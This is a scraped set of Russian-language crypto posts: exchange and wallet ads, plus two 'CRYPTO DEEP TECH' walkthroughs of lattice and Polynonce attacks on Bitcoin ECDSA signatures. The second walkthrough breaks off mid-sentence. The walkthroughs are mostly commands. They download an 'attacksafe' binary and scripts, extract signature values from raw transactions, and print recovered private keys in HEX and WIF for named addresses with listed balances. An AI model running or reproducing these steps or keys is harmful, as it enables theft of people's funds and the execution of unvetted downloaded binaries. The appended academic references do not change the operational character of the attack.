  18. Cryptoroyal.exchange - ваш лучший выбор для криптовалютных обменов. Наш Exchange-сервис - это: Быстрый, Простой и Безопасный способ обмена: У нас вы найдете идеальное сочетание скорости и удобства при обмене криптовалют. Никакой лишней бюрократии - только чистые обмены! Наши Направления Обмена: UAH - USDT USDT - UAH CNY - USDT (И, да, у нас есть обмен CNY - не упустите шанс!) Режим Работы: Мы доступны для вас с 9 утра по времени Гринвича и до 9 вечера, гарантируя удобство и доступность обменов. Как нас найти: Официальный сайт: Cryptoroyal.exchange Онлайн поддержка: Быстрые ответы на все ваши вопросы О Нас: Узнайте больше о нашей команде здесь Часто Задаваемые Вопросы: FAQ Политика Конфиденциальности: Privacy Policy Контактная почта: info@cryptoroyal.exchange Почему стоит выбрать Cryptoroyal.exchange? Быстрые обмены: Мы ценим ваше время и предоставляем моментальные обмены, чтобы ваши сделки проходили гладко и быстро. Обмен CNY: У нас есть уникальная возможность обмена китайских юаней (CNY) на USDT. Минимальные выплаты - 10,000 CNY, и мы гарантируем выполнение заказов в течение 24 часов. Прозрачность и Безопасность: Cryptoroyal.exchange предоставляет надежные и прозрачные условия обмена, соблюдая высокие стандарты конфиденциальности. Отзывы и Дополнительная Информация: Желаете узнать больше? Вы найдете отзывы о нашем сервисе на различных мониторингах и форумах. Наша репутация - это наша гордость, и мы всегда готовы предоставить вам выгодные и надежные обмены. Не упустите шанс обменять криптовалюты с легкостью и надежностью на Cryptoroyal.exchange. Мы всегда готовы обеспечить вас удобством и безопасностью. Приходите к нам на сайт и задавайте вопросы - мы всегда готовы помочь вам!
  19. CRYPTO DEEP TECH В наших самых ранних работах мы опубликовали статью на тему “LATTICE ATTACK” как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки “POLYNONCE ATTACK”, мы решили дополнить статью с использованием 79 signatures ECDSA. Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits. За теоретическую основу мы будем брать материалы: “Lattice Attack on Bitcoin” https://attacksafe.ru/lattice-attack-on-bitcoin 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z 6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8 RawTX "hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................ Загрузим файл: LATTICE_ATTACK_249bits.ipynb Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE” www.attacksafe.ru/software Права доступа: !chmod +x attacksafe ls Применение: !./attacksafe -help -version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode !./attacksafe -version Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023] Запустим список всех атак: !./attacksafe -list Выберем -tool: lattice_attack Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath !wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 cd SageMath/ ls !python3 relocate-once.py !mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv' ls !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example1/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: !pip3 install bitcoin from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z Откроем bitaddress и проверим: ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941 https://www.blockchain.com/en/explorer/addresses/btc/19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z BALANCE: $ 1015.58 Рассмотрим остальные примеры: №2 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z 9130c5b8e92f37d3a58dcae16daa27625cc52b698a83af7c8b891f01bfa0b2af RawTX "hex": 0100000041e981df9d37a7af6f5ee77abade3ec58acbf864f942bdecb63ea2efa593e2c3391f0000006b4830450221009d8ceef05e2fa0a623811df57265a3678f902e81dc82c3862d12bbb07b90de18022036bbed961b4f8665eb3fb3047a1398a1aeae519a8e2a1a97de57863fc0cc4a380121029755a17bf76237cde9e05fc333a255b926d526a7763abe725a4f6253ebdae109ffffffff.............................. !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example2/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example2/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z WIF: KwFNhRPDpgD5X77T8x5oL628aHh9UtscwwrLjGBKE8NeLshYvAqC HEX: 00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d https://www.blockchain.com/en/explorer/addresses/btc/1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z BALANCE: $ 999.10 Рассмотрим остальные примеры: №3 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz 0b21368bb6e6658adf4079b5ca6e7286c6e13471acef879168e7c17809476c76 RawTX "hex": 0100000041c7a8d97168ee154550f5e43b9074e5f357a4dc6b2350c96f75e377df0a39b9fa210000006b48304502210097d6b896929d77634b8d9430bc2842209cad42bb236c408e18470b9fd86b3d6a0220684ac14228c4adaa9df819e7fc8e82cf3c4242b74e27f5dd190d63231e8a058a012102990a280aef14e545b9b076b6548a4e886476d967e447bb69efcf0b725efda04effffffff.............................. !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example3/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example3/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz WIF: L1YFTAP2X6jhi9W6ZVy2xX8H89TYwZcgSKcPLX7NmAx3n8PjqDkU HEX: 80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5 https://www.blockchain.com/en/explorer/addresses/btc/18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz BALANCE: $ 1023.25 №4 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor 6e6d84bc92cd79fba2d1eee5fb47e393896d44f666a50d4948a022751e3f0989 RawTX "hex": 01000000418ff67c7d3309211ab9d9629d97bbac7730d3cbb419df4ec43d2c5fc4f81bbefb1b0000006b4830450221008c223861acf1f265547eddb04a7cf98d206643a05824e56e97c70beddd18eaf20220139a34bf077a1fdb15e716d765955203e746616dfe8bf536b86d259b5c8a09b8012103c50b5619a40a23ff6a5510238405b8efd3f8f1bc442e1a415b25078b4cbd88e3ffffffff.............................. !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example4/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example4/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor WIF: L2Xbaxg8QFoLn5URp7GKMyLwEN9dV5TtgpdbXYo7WDJsHZLcT898 HEX: 9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32 https://www.blockchain.com/en/explorer/addresses/btc/12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor BALANCE: $ 406.03 №5 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN 8a00ad0cc10d768d6d2b407f99879e556e5fc2917b619cb9a551675b7682a791 RawTX "hex": "01000000fdf4014f7e4a72ecb9a3ed21a82a42b3127da87bdfee7c10779688dd8a38977cb80ece000000006a4730440220423f7cffadd494fb0148d509e67598b3c8d7f54695ee3830184adc2af234d5cf022005ebe83773bc81c7131fd0580350a998adde20fee6fd2d1da40a0191fea8242c0121027a2250a80a31965e928afff97d1c713e7ce70e6eb7c7491404a79991bfc6b5c1ffffffff........................... !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example5/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xe2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example5/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2:1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN Откроем bitaddress и проверим: ADDR: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN WIF: L4porgUmuBkMbATA6Pp7r8uqShFt2zTPNEfuPNYi1BCym4hhV8gs HEX: e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2 https://www.blockchain.com/en/explorer/addresses/btc/1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN BALANCE: $ 995.39 Literature: Lattice Attacks against Elliptic-Curve Signatures with Blinded Scalar Multiplication Dahmun Goudarzi , Matthieu Rivain , and Damien Vergnaud CryptoExperts, Paris, France Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies Joachim Breitner and Nadia Heninger DFINITY Foundation, Zug University of California, San Diego Return of the Hidden Number Problem A Widespread and Novel Key Extraction Attack on ECDSA and DSA Keegan Ryan Minerva: The curse of ECDSA nonces Systematic analysis of lattice attacks on noisy leakage of bit-length of ECDSA nonces Ján Jančár , Vladimír Sedláček , Petr Švenda and Marek Sýs Masaryk University, Ca’ Foscari University of Venice Estimating the Effectiveness of Lattice Attacks Kotaro Abe and Makoto Ikeda School of Engineering, The University of Tokyo, Tokyo, Japan Исходный код ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/CzaHitewN-4 Источник: https://cryptodeep.ru/lattice-attack-249bits Криптоанализ
  20. Привет bits.media сообществу, ? Предлагаем ознакомиться с последней инновацией от ilink — WalletVerse. Для тех, кто постоянно ищет криптовалютные кошельки высшего уровня, это может быть следующим большим приложением, которое вы так долго ждали. Особенности WalletVerse: Обширная поддержка: WalletVerse — это не просто еще один кошелек. Он поддерживает более 300 криптовалют. Являетесь ли вы энтузиастом биткойнов или поклонником альткойнов, мы предоставим вам всю необходимую информацию. Ориентированный на пользователя дизайн. Если вас когда-либо разочаровывали сложные интерфейсы кошельков, WalletVerse — это глоток свежего воздуха. Разработанный с учетом потребностей пользователей, он может похвастаться удобным интерфейсом, в котором легко ориентироваться даже новичкам. Безопасность высшего уровня. В нестабильном мире криптовалют безопасность не подлежит обсуждению. WalletVerse уделяет приоритетное внимание безопасности ваших активов благодаря своим беспрецедентным функциям безопасности. Beyond Storage: это не просто место для хранения ваших активов. WalletVerse предлагает универсальную платформу для упреждающего управления цифровыми активами, предоставляющую удобные функции торговли и размещения ставок. Тимур А., генеральный директор ilink, подчеркивает: «С WalletVerse мы стремимся переопределить опыт работы с криптовалютой, сделав его более простым, безопасным и расширяющим возможности для всех участников». Учитывая быстрое расширение сферы цифровых валют, крайне важно иметь инструменты, которые не только соответствуют, но и устанавливают новые стандарты. Именно здесь в дело вступает WalletVerse, стремясь изменить стандарты криптовалютных кошельков. Хотите узнать, что может предложить WalletVerse? Зайдите на Walletverse.io, чтобы получить дополнительную информацию или скачать приложение. Если у вас есть какие-либо вопросы или предложения, не стесняйтесь обращаться к нам по адресу support@walletverse.io. Немного об ilink: Будучи лидером в разработке программного обеспечения и блокчейна, ilink стремится внедрять инструменты, которые устанавливают более высокую планку в технологическом ландшафте. Веб-сайт компании ilink.dev, электронная почта hello@ilink.dev. Мы верим в потенциал криптосообщества и стремимся предлагать продукты, которые подтолкнут нас всех к более безопасному и удобному для пользователя цифровому будущему. Попробуйте WalletVerse, и давайте вместе сделаем шаг вперед!
  21. 247 CRYPTO — Надежный обменник криптовалюты, который позволяет безопасно и быстро обменивать фиатные, электронные деньги и криптовалюты. Bitcoin, Ethereum, Tether, Webmoney, Perfect Money, Visa/Master Card — и это далеко не все доступные способы. Список постоянно пополняется новыми направлениями, среди которых обязательно найдется подходящее. Для обмена выберите предпочитаемый способ и укажите сумму обмена. Затем, следуя инструкциям, осуществите обмен. Отзывчивая служба поддержки готова оказать всю необходимую помощь в решении Ваших вопросов. В рамках проекта действует программа лояльности и услуги в рамках партнерской программы, используя преимущества которых вы можете совершать обмен электронных валют на более выгодных условиях. Для этого просто зарегистрируйтесь на сайте. Основные преимущества 247 Crypto: ♦ Безопасно, прозрачно, выгодно. ♦ Низкие комиссии. Высокая ликвидность. Круглосуточная доступность. ♦ Удобный интерфейс для начинающих и экспертов. Безопасность, скорость, конфиденциальность один из главных принципов работы обменника. Вы можете быть уверены, что данные не будут переданы третьим лицам, не попадут в руки преступников, не будут опубликованы в открытом доступе, а будут надежно храниться на серверах проекта. Если у вас есть какие либо вопросы, пожалуйста, не стесняйтесь обращаться в службу поддержки проекта. https://247crypto.exchange/ru/?rid=119
  22. CRYPTO DEEP TECH В этой статье мы опять затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”. https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/ За практическую основу мы будем брать материалы из нашей ранней статьи “Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина. https://www.rapidtables.com/convert/number/hex-to-binary.html Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” // n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 Speed up secp256k1 with endomorphism За теоретическую основу мы будем брать материалы: “Polynonce Attack on Bitcoin” https://attacksafe.ru/polynonce-attack-on-bitcoin 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB 929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441 RawTX 02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000 Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt !echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE” www.attacksafe.ru/software Права доступа: !chmod +x attacksafe ls Применение: !./attacksafe -help -version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode !./attacksafe -version Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023] Запустим список всех атак: !./attacksafe -list Выберем -tool: polynonce_attack 02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000 Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath !wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 cd SageMath/ ls !python3 relocate-once.py !mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv' ls !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py Результат: POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826 POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: !pip3 install bitcoin from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB Откроем bitaddress и проверим: ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB BALANCE: $ 3699.40 Рассмотрим остальные примеры: №2 137a6fqt13bhtAkGZWrgcGM98NLCotszR2 c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b RawTX 010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000 !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py Результат: POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7 Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA 